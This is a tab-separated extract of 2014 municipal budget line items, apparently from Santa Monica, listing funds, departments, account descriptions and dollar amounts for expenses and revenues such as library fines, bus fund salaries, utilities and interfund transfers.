5103	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570250.0	GEN FUND REIMB FROM PIER FUND	908.0	 Supplies and Expenses	2014	-192038.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-192038.0
5104	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	400430.0	LIBRARY FEES	612.0	Charges for Service	2014	-6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6000.0
5105	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522950.0	CNG FUEL	808.0	 Supplies and Expenses	2014	1495.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1495.0
5106	BA	IS	14	TORCA Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	522180.0	BANK FEES		 Supplies and Expenses	2014	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
5107	BA	IS	56	Self-insur, General Liab/Auto	700	NON-DEPARTMENTAL	232	COMPREHENSIVE	522180.0	BANK FEES		 Supplies and Expenses	2014	6300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6300.0
5108	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522180.0	BANK FEES		 Supplies and Expenses	2014	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
5109	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	404170.0	OTHER REVENUE - MISCELLANEOUS	662.0	Other	2014	-108632.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-108632.0
5110	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402210.0	MAUSOLEUM SALES	650.0	Charges for Service	2014	-135915.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-135915.0
5111	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	402410.0	SELF-INSURANCE BUS	650.0	Charges for Service	2014	-2500000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2500000.0
5112	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	401090.0	INDIRECT COSTS	612.0	Charges for Service	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5113	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400110.0	FRANCHISE TAX - MISCELLANEOUS	608.0	Licenses and Permits	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5114	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400180.0	LOCAL PUBLIC SAFETY FUNDS	602.0	Property Taxes	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5115	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	400670.0	FIRE PERMITS / FEES	608.0	Licenses and Permits	2014	-761977.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-761977.0
5116	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401600.0	LIBRARY FINES	614.0	Fines and Forfeitures	2014	-290000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-290000.0
5117	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401630.0	LIBRARY COPIERS AND PRINTERS	612.0	Charges for Service	2014	-32000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-32000.0
5118	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401640.0	LIBRARY MEETING ROOM RENTAL	618.0	Rentals	2014	-47000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-47000.0
5119	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	588090.0	FURNITURE & FURNISHINGS	808.0	 Supplies and Expenses	2014	75.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	75.0
5120	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2014	5140.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5140.0
5121	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	566450.0	SEWAGE PUMP PLANT MAINT		 Supplies and Expenses	2014	375000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	375000.0
5122	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569000.0	CULTURAL/ARTS GRANTS	810.0	 Supplies and Expenses	2014	260700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	260700.0
5123	BA	IS	14	TORCA Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	404060.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5124	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	60600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	60600.0
5125	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522180.0	BANK FEES		 Supplies and Expenses	2014	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
5126	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	804.0	 Supplies and Expenses	2014	2758.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2758.0
5127	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	533080.0	MARTIN LUTHER KING DAY	810.0	 Supplies and Expenses	2014	7896.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7896.0
5128	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579960.0	BIG BLUE BUS/GEN FUND REIMBURS	908.0	 Supplies and Expenses	2014	-79763.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-79763.0
5129	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	404170.0	OTHER REVENUE - MISCELLANEOUS	622.0	Other	2014	-575000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-575000.0
5130	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522950.0	CNG FUEL	812.0	 Supplies and Expenses	2014	1100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1100.0
5131	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	566630.0	STORM DRAIN MAINTENANCE		 Supplies and Expenses	2014	175000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	175000.0
5132	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511730.0	WORKERS' COMP INSURANCE	808.0	Salaries and Wages	2014	15715.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15715.0
5133	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2014	-1650.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1650.0
5134	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511490.0	OVERTIME	816.0	Salaries and Wages	2014	5195.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5195.0
5135	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	544170.0	UNIFORM / PROTECTIVE CLOTHING	806.0	 Supplies and Expenses	2014	9975.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9975.0
5136	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578200.0	AIRPORT REIMBURSEMENT FOR SBDC	910.0	 Supplies and Expenses	2014	30764.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30764.0
5137	BA	IS	43	Gas Tax Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	522150.0	STORMWATER MANAGEMENT	808.0	 Supplies and Expenses	2014	1400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1400.0
5138	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401311.0	CONTRACT CLASSES	612.0	Charges for Service	2014	-918000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-918000.0
5139	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	522180.0	BANK FEES		 Supplies and Expenses	2014	323.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	323.0
5140	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2014	11794.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11794.0
5141	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	533650.0	CONF / MTGS / TRAVEL-TV	804.0	 Supplies and Expenses	2014	7140.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7140.0
5142	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	407050.0	GEN PROM BUS LIC - PICO	622.0	Other	2014	-4300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-4300.0
5143	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2014	1100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1100.0
5144	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401200.0	FIELD PERMITS	618.0	Rentals	2014	-220548.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-220548.0
5145	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400771.0	OUTDOOR DINING REVENUE	618.0	Rentals	2014	-508645.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-508645.0
5146	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400580.0	FILMING PERMITS	608.0	Licenses and Permits	2014	-87911.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-87911.0
5147	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	400750.0	INT DEP / INVESTMENT	616.0	Investment Income	2014	-58000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-58000.0
5148	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401810.0	ENCROACHMENT REVENUE	622.0	Other	2014	-118000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-118000.0
5149	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2014	105.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	105.0
5150	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	400950.0	MOUNTAIN VIEW LEASE REVENUE	618.0	Rentals	2014	-356000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-356000.0
5151	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577880.0	SMURRF O&M COSTS		 Supplies and Expenses	2014	444338.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	444338.0
5152	BA	IS	25	Water Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577890.0	MWD RECYCLED WATER REBATE		 Supplies and Expenses	2014	18401.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18401.0
5153	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511300.0	HOLIDAY PAY	806.0	Salaries and Wages	2014	485386.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	485386.0
5154	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2014	4182.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4182.0
5155	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	971302.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	971302.0
5156	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522912.0	OIL FOR REVENUE EQUIPMENT		 Supplies and Expenses	2014	153750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	153750.0
5157	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511972.0	UNIFORM ALLOWANCE		Salaries and Wages	2014	115500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	115500.0
5158	BA	IS	1	General Fund	310	FIRE	315	TRAINING	522820.0	CONFERENCES/MEETINGS/TRAVEL	806.0	 Supplies and Expenses	2014	2143.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2143.0
5159	BA	IS	1	General Fund	310	FIRE	315	TRAINING	588090.0	FURNITURE & FURNISHINGS	806.0	 Supplies and Expenses	2014	8364.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8364.0
5160	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	522950.0	CNG FUEL	816.0	 Supplies and Expenses	2014	454.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	454.0
5161	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511490.0	OVERTIME		Salaries and Wages	2014	139759.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	139759.0
5162	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	496523.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	496523.0
5163	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522120.0	UTILITIES - NATURAL GAS		 Supplies and Expenses	2014	24711.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	24711.0
5164	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555030.0	EMPLOYEE MEDICAL EXAMS	844.0	 Supplies and Expenses	2014	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
5165	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2014	25625.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25625.0
5166	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	404760.0	RENT/PROP FEES - KEC	618.0	Rentals	2014	-2381.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-2381.0
5167	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	11440.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11440.0
5168	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522310.0	OFFICE SUPPLIES / EXPENSE	812.0	 Supplies and Expenses	2014	2755.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2755.0
5169	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522540.0	ADVERTISING	812.0	 Supplies and Expenses	2014	4845.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4845.0
5170	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	522720.0	MILEAGE	812.0	 Supplies and Expenses	2014	1100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1100.0
5171	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	533220.0	BLDG / STRUCTURE MAINTENANCE	812.0	 Supplies and Expenses	2014	65000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	65000.0
5172	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	1805.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1805.0
5173	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511500.0	TEMPORARY EMPLOYEES	812.0	Salaries and Wages	2014	51583.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	51583.0
5174	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2014	45280.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	45280.0
5175	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511550.0	LIBRARY PAGES	812.0	Salaries and Wages	2014	607286.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	607286.0
5176	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	132000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	132000.0
5177	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	177200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	177200.0
5178	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	588200.0	BLDG RENOVATION / MAINTENANCE	808.0	 Supplies and Expenses	2014	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
5179	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522320.0	METERED POSTAGE	808.0	 Supplies and Expenses	2014	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
5180	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522910.0	VEHICLES - FUELS / LUBRICATION	808.0	 Supplies and Expenses	2014	1628.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1628.0
5181	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555010.0	CONTRACTUAL SERVICES	808.0	 Supplies and Expenses	2014	125000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	125000.0
5182	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544050.0	CEMENT / SAND / GRAVEL	808.0	 Supplies and Expenses	2014	2500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2500.0
5183	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522110.0	UTIL - LIGHT / POWER	850.0	 Supplies and Expenses	2014	3910.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3910.0
5184	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522130.0	UTILITIES - WATER	850.0	 Supplies and Expenses	2014	2091.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2091.0
5185	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511000.0	PERMANENT EMPLOYEES	840.0	Salaries and Wages	2014	3821078.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3821078.0
5186	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511490.0	OVERTIME	840.0	Salaries and Wages	2014	139396.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	139396.0
5187	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522110.0	UTIL - LIGHT / POWER	850.0	 Supplies and Expenses	2014	502762.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	502762.0
5188	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	848.0	 Supplies and Expenses	2014	52531.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	52531.0
5189	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	555210.0	TRAINING	862.0	 Supplies and Expenses	2014	10600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10600.0
5190	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	402490.0	WATER CAPITAL FACILITIES FEE	650.0	Charges for Service	2014	-336000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-336000.0
5191	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	404170.0	OTHER REVENUE - MISCELLANEOUS	662.0	Other	2014	-4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-4000.0
5192	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	402950.0	INT DEP / INVESTMENT	659.0	Investment Income	2014	-175000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-175000.0
5193	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	405080.0	SALE OF MUNICIPAL CODES	612.0	Charges for Service	2014	-100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-100.0
5194	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400130.0	TRANSIENT OCCUPANCY TAX	606.0	Other Local Taxes	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5195	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400160.0	SALES / USE TAX	604.0	Sales Tax	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5196	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	405090.0	CITY YARDS LEASE	618.0	Rentals	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5197	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	401380.0	POUND FEES	612.0	Charges for Service	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5198	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2014	24000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	24000.0
5199	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544110.0	PRINTED FORMS	808.0	 Supplies and Expenses	2014	3500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3500.0
5200	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544260.0	BIN REPAIR	808.0	 Supplies and Expenses	2014	60000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	60000.0
5201	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2014	393821.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	393821.0
5202	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2014	15198.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15198.0
5203	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522120.0	UTILITIES - NATURAL GAS	808.0	 Supplies and Expenses	2014	311.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	311.0
5204	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544120.0	PERIODICALS	808.0	 Supplies and Expenses	2014	300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	300.0
5205	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522160.0	TRANSFER STATION FEE	848.0	 Supplies and Expenses	2014	8200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8200.0
5206	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	544170.0	UNIFORM / PROTECTIVE CLOTHING	848.0	 Supplies and Expenses	2014	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
5207	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2014	500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	500.0
5208	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511730.0	WORKERS' COMP INSURANCE	840.0	Salaries and Wages	2014	85822.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	85822.0
5209	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522210.0	UTILITIES - TELEPHONE	850.0	 Supplies and Expenses	2014	52531.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	52531.0
5210	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522900.0	MEMBERSHIPS AND DUES	820.0	 Supplies and Expenses	2014	7500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7500.0
5211	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522120.0	UTILITIES - NATURAL GAS	850.0	 Supplies and Expenses	2014	28000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	28000.0
5212	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577700.0	PROP A REIMBURSEMENT	908.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5213	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577760.0	CDBG REIMB-HOUSING & ECON DEV	908.0	 Supplies and Expenses	2014	-92000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-92000.0
5214	BA	IS	33	Airport Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578200.0	AIRPORT REIMBURSEMENT FOR SBDC		 Supplies and Expenses	2014	-30764.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-30764.0
5215	BA	IS	57	Self-insurance, Bus Fund	700	NON-DEPARTMENTAL	233	BUS	522060.0	COURT FILING FEES	862.0	 Supplies and Expenses	2014	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
5216	BA	IS	59	Self-insur, Workers' Comp Fund	700	NON-DEPARTMENTAL	235	WORKER'S COMPENSATION	522090.0	MISCELLANEOUS COSTS	862.0	 Supplies and Expenses	2014	250000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	250000.0
5217	BA	IS	58	Risk Management - Admin	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577500.0	TRANSFERS FROM / TO FUND	908.0	 Supplies and Expenses	2014	-1988462.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1988462.0
5218	BA	IS	20	Miscellaneous Grants Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	402920.0	PROP A LOCAL RETURN	610.0	Intergovernmental	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5219	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	523000.0	VEHICLE MGMT FUND-MAINTENANCE	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5220	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2014	3677.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3677.0
